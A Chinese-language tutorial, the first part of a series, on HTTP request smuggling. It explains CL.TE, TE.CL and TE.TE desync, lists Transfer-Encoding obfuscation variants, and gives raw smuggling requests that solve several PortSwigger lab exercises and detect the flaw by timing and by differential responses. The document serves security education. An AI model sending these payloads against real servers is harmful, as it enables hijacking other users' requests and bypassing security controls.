请求走私利用实践(上)

IT知识
183
0
0
2024-05-15
文章前言

在上次的"Websocket通信安全概览"一文中对WebSocket的请求走私做了一个简单的介绍后总觉得对请求走私这一部分知识内容缺乏一个完整性的梳理,后面经过几次断断续续的补充以及时间的拼凑最终有了这一篇较为完整的关于请求走私的介绍文章和利用实践文章,而这也算是填补了自己之前遗留的一个坑吧

基本介绍

HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列方式的技术,它允许攻击者绕过安全控制获得对敏感数据的未经授权的访问并直接危害其他应用程序用户,请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况,主要是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即Content-LengthTransfer-Encoding标头,请求走私主要与HTTP/1请求相关,但是支持HTTP/2的网站可能容易受到攻击,具体取决于其后端架构

协议特性

在HTTP 1.0之前的通信协议中客户端会在进行HTTP请求时与服务器端通过TCP三次握手建立连接,而且是每个请求/响应都需要建立一个新的TCP连接,而现如今的WEB网站页面是由多种资源文件组成的,我们在获取一个完整的页面内容时则需要对多种资源文件需要进行请求处理,例如:CSS文件、JS文件、图片文件等内容,在这样的应用场景下HTTP /1.1横空出世并引入了持久连接(Keep-Alive)和管道(Pipeline),允许在单个TCP连接上发送多个HTTP请求和响应,规避了HTTP服务器负载开销大的问题,同时也提高了性能和效率:

  • 管道(Pipeline):在HTTP/1.1中引入的一项新特性,主要用于改善并发请求的性能,Pipeline允许客户端在一个TCP连接上发送多个请求,而无需等待每个请求的响应,这也意味着客户端可以在发送第一个请求后立即发送下一个请求,而不需要等待前一个请求的响应返回
  • 持久连接(Keep-Alive):在HTTP/1.1中引入的一项新特性,持久连接允许在单个TCP连接上发送多个HTTP请求和响应,而不是为每个请求都建立一个新的连接,当客户端发送一个HTTP请求并接收到服务器的响应后,TCP连接不会立即关闭,而是保持打开状态。这样客户端可以在同一个连接上发送多个请求,而无需重新建立连接,持久连接的好处在于可以减少建立连接时的开销、减少延迟并提高效率
漏洞原理

现今的Web应用程序经常在用户和最终应用程序逻辑之间使用HTTP服务器链,用户将请求发送到前端服务器(有时称为"负载均衡器"或"反向代理"),然后该服务器将请求转发到一台或多台后端服务器,这种类型的架构在现代基于云的应用程序中越来越常见并且在某些情况下是不可避免的,而当前端服务器将HTTP请求转发到后端服务器时,它通常会通过同一后端网络连接发送多个请求,因为这样的效率和性能要高得多,HTTP请求被一个接一个地发送,接收服务器必须确定一个请求在哪里结束以及下一个请求从哪里开始

在这种情况下前端和后端系统就请求之间的边界达成一致至关重要,否则攻击者可能能够发送不明确的请求,前端和后端系统会以不同的方式解释该请求,在下面的示例图中攻击者通过更改请求数据包导致其前端请求的一部分被后端服务器解释为下一个请求的开始,它有效地添加到下一个请求之前,因此可能会干扰应用程序处理该请求的方式,这便是请求走私攻击,可能会造成灾难性的后果

在HTTP 1.1版本中提供了两种不同的方式来指定请求的结束位置:Content-LengthTransfer-Encoding

(1) Content-Length:HTTP协议中的一个头部字段,用于指示请求或响应消息体的长度(以字节为单位),它主要用于告诉接收方需要接收的数据的准确大小以便正确解析和处理消息,例如:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

(2) Transfer-Encoding:HTTP协议中的一个头部字段,它主要用于指定消息正文使用分块编码,这意味着消息正文包含一个或多个数据块,每个块由块大小(以字节为单位)(以十六进制表示)组成,后跟换行符,然后是块内容,消息以大小为零的块终止,常见的Transfer-Encoding值有两种:

a、chunked:表示消息体采用分块传输编码,在分块传输编码中消息体被分成一系列大小不等的块,每个块前面都包含该块的大小信息,这允许消息体在传输过程中逐步发送,而不需要等待整个消息体完全生成,接收方通过读取每个块的大小信息来逐步重构完整的消息体,下面是使用chunked传输编码的响应消息示例:

HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked

25
This is the first chunk of data.
1A
This is the second chunk.
0

b、gzip、deflate等:表示消息体采用压缩编码,这些压缩编码算法可以对消息体进行压缩,从而减少传输的数据量,接收方在接收到压缩编码的消息体后需要对其进行解压缩才能获取原始的消息内容,下面是使用gzip压缩编码的响应消息示例

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Encoding: gzip

[compressed data]

由于HTTP /1规范提供了两种不同的方法来指定HTTP消息的长度,因此单个消息有可能同时使用这两种方法,从而导致它们相互冲突,针对此类问题我们建议如果Content-Length和Transfer-Encoding头都存在时应该采用忽略Content-Length来防止此问题,但是当只有一个服务器在运行时,这可以避免歧义,但当两个或多个服务器链接在一起时就无法避免歧义了,在这种情况下,出现问题的原因有两个:

  • 如果某些服务器不支持Transfer-Encoding请求中的标头,则可能会导致歧义
  • 如果请求头以某种方式被混淆,支持Transfer-Encoding标头的服务器可能会被诱导不去处理它

总而言之,如果前端和后端服务器对于(可能是混淆的)Transfer-Encoding标头的行为不同,那么它们可能对连续请求之间的边界存在分歧,从而导致请求走私漏洞

走私检测

经典的请求走私主要涉及Content-LengthTransfer-Encoding两个头信息,通过更改其数值并将其放入单个HTTP/1请求中对其进行请求测试操作,观察是否可以从前后的数据包中得到意外响应,常见的前后端请求处理方式有以下几种类型:

  • CL.TE:前端服务器使用Content-Length头,后端服务器使用Transfer-Encoding头
  • TE.CL:前端服务器使用Transfer-Encoding标头,后端服务器使用Content-Length标头
  • TE.TE:前端和后端服务器都支持Transfer-Encoding标头,但是可以通过以某种方式模糊标头来诱导其中一个服务器不处理它

接下来用几个实例来说明HTTP走私攻击:

CL.TE vulnerabilities

在这种情况之下,前端服务器使用Content-Length长度头,后端服务器使用Transfer-Encoding,我们可以执行简单的HTTP请求走私攻击,如下所示:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

前端服务器处理Content-Length标头并确定请求正文的长度为13个字节,直到SMUGGLED结束,这个请求被转发到后端服务器,后端服务器处理Transfer-Encoding头,因此将邮件正文视为使用分块编码,它处理第一个块,该块被声明为零长度,因此被视为终止请求,而后面的字节(走私的)未被处理,后端服务器将把这些视为序列中下一个请求的开始

靶场地址: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

解题过程: Step 1:访问靶场捕获数据包并构造一下请求报文

POST / HTTP/1.1
Host: 0af800e2048fe11a806ff35700f30086.web-security-academy.net
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 6
Transfer-Encoding: chunked
Cookie: session=Z9jX1prJb6b6yIn5SbqiZY50uHHeECIX

0

G

第一次请求操作如下所示:

第二次请求时发现回显提示"Unrecognized method GPOST",这个主要是由于前端服务器处理Content-Length标头并确定请求正文的长度为6个字节,直到G结束,这个请求被转发到后端服务器,后端服务器处理Transfer-Encoding头,因此将邮件正文视为使用分块编码,它处理第一个块,该块被声明为零长度,因此被视为终止请求,而后面的字节(走私的)未被处理,后端服务器将把这些视为序列中下一个请求的开始,所以成为了最后的——"GPOST"

TE.CL vulnerabilities

在此类场景下,前端服务器使用Transfer-Encoding头,后端服务器使用Content-Length头,我们可以执行简单的HTTP请求走私攻击,如下所示:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

前端服务器处理Transfer-Encoding头,因此将邮件正文视为使用分块编码,它处理第一个块,据说它有8个字节长,直到走私的下一行的开始,它处理第二个块,该块被声明为零长度,因此被视为终止请求,这个请求被转发到后端服务器,后端服务器处理Content-Length标头并确定请求正文的长度为3个字节,直到第8行的开头,接下来的字节,从走私开始没有被处理,后端服务器将把这些视为序列中下一个请求的开始

靶场地址: https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl 解题过程: Step 1:访问以上链接进入到靶场并抓包,修改从burpsuite中捕获到的数据报文,构造如下的请求走私请求(这里推荐打击使用新版本的Burpsuite,主要是可以可视化换行,其次需要注意的一个点是最后的那个0的后面也得\r\n,再者是需要移除栏目Repeater中的UnUpdate Content-Length)

POST / HTTP/1.1
Host: 0a96003604f8aabe8031df2300fe009a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

随后进行第二次发包,提示"Unrecognized method GPOST"

TE.TE vulnerabilities

在这种场景下,前端和后端服务器都支持Transfer-Encoding头,但是可以通过以某种方式混淆头来诱导其中一个服务器不处理它,可能有无穷无尽的方法来混淆传输编码头,例如:

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x
    
Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

这些技术中的每一种都与HTTP规范有细微的不同,实现协议规范的真实世界代码很少绝对精确地遵守它并且不同的实现容忍与规范不同的变化是很常见的,根据是前端服务器还是后端服务器可以被诱导不处理混淆的传输编码报头,攻击的剩余部分将采取与CL相同的形式,TE还是TE

靶场地址: https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header

解题过程: Step 1:访问上面的靶场地址抓取数据包并构造如下请求走私的攻击请求

POST / HTTP/1.1
Host: 0a60007404aa738e80bff93900e000a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

第二次请求回显结果提示——"Unrecognized method GPOST",至于原理可以看上面,这里不再赘述,本实验就是结合上面的理论而构造的,在现实世界中可能或多或少也会有此类情况,但是少

技术扩展

下面我们介绍一些常见的用户检测是否存在请求走私的方法技巧:

时间差异

检测HTTP请求走私漏洞最有效的方法是发送请求,这里我们介绍一种通过时间延迟的方式来检测是否存在请求走私漏洞的方法,Burp Scanner已然实现这种技术

CL.TE vulnerabilities

如果应用程序易受CL攻击,那么我们可以尝试发送以下请求走私的变体,此时通常会导致时间延迟,这主要是由于前端服务器使用Content-Length头,它将只转发该请求的一部分,忽略x,后端服务器使用Transfer-Encoding头,处理第一个块,然后等待下一个块到达,这将导致明显的时间延迟

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X
TE.CL vulnerabilities

如果应用程序易受TE攻击,那么我们可以尝试发送如下请求走私的CL变体,此时通常会导致时间延迟,这主要是因为前端服务器使用Transfer-Encoding头,因此它将只转发该请求的一部分,省略x,后端服务器使用Content-Length头,希望邮件正文中有更多内容并等待剩余内容到达,这将导致明显的时间延迟

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X
响应差异
CL.TE vulnerabilities

在检测到可能的请求走私漏洞时,我们可以通过利用它来触发应用程序响应内容的差异从而获得漏洞的进一步证据,这包括快速连续地向应用程序发送两个请求:

  • 在干扰下一个请求处理的"Attack"请求
  • 再次发送一个"正常"的请求

如果正常请求的响应包含预期的干扰内容则说明存在请求走私漏洞,例如:假设正常请求如下所示

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

该请求通常会收到状态代码为200的HTTP响应,其中包含一些搜索结果,干扰这个请求所需的攻击请求取决于存在的请求走私的变体:CL.TE vs TE.CL,这里我们以CL.TE为例:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

如果攻击成功,那么后端服务器会将该请求的最后两行视为接收到的下一个请求,这将导致后续的"正常"请求如下所示,由于这个请求现在包含一个无效的URL,服务器将用状态代码404响应,表明攻击请求确实干扰了:

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

下面我们通过一个靶场来介绍具体的fuzzing:

靶场地址: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses

测试流程: Step 1:访问上述靶场地址并随意抓取一个数据包并构造以下Fuzzing请求

POST / HTTP/1.1
Host: 0ae900850431f4b482522fd000e3007d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

第二个包请求后会给一个404响应

TE.CL vulnerabilities

如果要确认一个TE.CL漏洞,我们可以发送如下请求:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

如果目标系统存在漏洞且被攻击成功,那么从GET /404开始的所有内容都会被后端服务器视为属于接收到的下一个请求,这将导致后续的"正常"请求如下所示:

GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

下面我们通过一个靶场进行简单的演示:

靶场地址: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses

测试演示: Step 1:访问靶场并使用burpsuite抓包并构造如下恶意请求载荷

POST / HTTP/1.1
Host: 0a71000f036353f181142ace00340041.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

第二个包请求后会给一个404响应

"走私绕过"的部分下篇